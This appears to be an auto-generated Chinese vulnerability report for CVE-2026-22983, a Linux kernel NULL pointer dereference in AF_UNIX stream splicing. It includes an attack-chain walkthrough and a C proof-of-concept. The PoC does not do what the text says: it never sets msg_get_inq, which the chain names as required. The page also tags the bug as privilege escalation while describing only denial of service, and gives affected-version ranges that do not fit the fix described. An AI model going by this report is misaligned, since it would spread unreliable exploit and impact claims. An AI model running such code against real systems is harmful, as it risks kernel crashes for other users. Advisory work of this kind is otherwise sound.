IPBUF安全漏洞报告
English
CVE-2026-22983 CVSS 5.5 中危

CVE-2026-22983: Linux内核AF_UNIX套接字NULL指针解引用漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-22983
漏洞类型
NULL指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNULL指针解引用AF_UNIX本地提权拒绝服务spliceCVE-2026-22983网络安全内核漏洞

漏洞概述

CVE-2026-22983是Linux内核中的一个中等严重性安全漏洞,CVSS评分为5.5。该漏洞存在于Linux内核的网络子系统,具体位于AF_UNIX流套接字的unix_stream_read_generic函数中。漏洞的根本原因是在splice操作期间,当state->msg为NULL时,代码仍尝试写入msg->msg_get_inq字段,导致NULL指针解引用。msg_get_inq应该是从调用者传递给被调用者的输入字段,但被调用者不应修改它,因为调用者可能在结构重用时未清除该字段。此漏洞可能影响系统的可用性,导致本地拒绝服务。攻击者需要低权限即可触发此漏洞,无需用户交互。

技术细节

该漏洞的技术根源在于unix_stream_read_generic函数中对msg_get_inq字段的不当处理。在splice操作期间,state->msg可能为NULL(自commit 2b514574f7e8引入的AF_UNIX流套接字splice支持以来),但代码仍尝试写入msg->msg_get_inq,导致NULL指针解引用。问题出在两个地方:首先,msg_get_inq作为输入字段被调用者设置以请求返回输入队列长度,但被调用者不应修改它;其次,为了减少热路径中的分支,SO_INQ请求也会设置msg_inq,但这与msg_get_inq的处理逻辑产生了冲突。该漏洞是commit 4d1442979e4a(修复了SO_INQ的逆问题)的后续修复,通过避免在callee中写入msg_get_inq来解决问题,同时使用按位或运算合并了两个分支以简化代码。

攻击链分析

STEP 1
步骤1: 权限获取
攻击者获得Linux系统的低权限用户账户
STEP 2
步骤2: 创建AF_UNIX套接字对
利用socketpair(AF_UNIX, SOCK_STREAM, 0)创建AF_UNIX流套接字对
STEP 3
步骤3: 配置msg_get_inq
设置msghdr结构的msg_get_inq字段以请求输入队列长度返回
STEP 4
步骤4: 触发splice操作
在splice操作期间,state->msg变为NULL但代码仍尝试写入msg->msg_get_inq
STEP 5
步骤5: NULL指针解引用
当尝试写入msg->msg_get_inq时,由于msg为NULL导致NULL指针解引用
STEP 6
步骤6: 拒绝服务
漏洞触发导致内核崩溃或系统可用性受影响,造成本地拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22983 PoC - NULL Pointer Dereference in AF_UNIX splice // This PoC demonstrates triggering the NULL pointer dereference // by performing splice operations on AF_UNIX sockets #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #define BUFFER_SIZE 1024 int main() { int pipefd[2]; int sv[2]; char buffer[BUFFER_SIZE]; ssize_t bytes; // Create AF_UNIX socket pair if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair(AF_UNIX)"); return 1; } // Create pipe for splice if (pipe(pipefd) < 0) { perror("pipe"); return 1; } // Fork child process to write data if (fork() == 0) { close(sv[0]); sleep(1); write(sv[1], "test data", 9); close(sv[1]); exit(0); } close(sv[1]); // Trigger splice operation that may lead to NULL pointer dereference // when msg_get_inq is set and state->msg becomes NULL bytes = splice(sv[0], NULL, pipefd[1], NULL, BUFFER_SIZE, SPLICE_F_MOVE); if (bytes < 0) { perror("splice"); } else { printf("Spliced %zd bytes\n", bytes); } close(sv[0]); close(pipefd[0]); close(pipefd[1]); return 0; }

影响范围

Linux Kernel < 5.15 (包含引入splice的版本)
Linux Kernel < 6.1 (特定受影响的版本需查看git.kernel.org提交7d11e047eda5f98514ae62507065ac961981c025和ffa2be496ef65055b28b39c6bd9a7d66943ee89a)

防御指南

临时缓解措施
目前没有已知的临时缓解措施可以完全避免此漏洞。建议尽快升级内核到包含修复的安全版本。在升级前,可以限制非特权用户创建AF_UNIX套接字的能力,但这可能会影响某些应用程序的正常运行。建议评估业务系统的依赖性后再决定是否实施临时限制措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表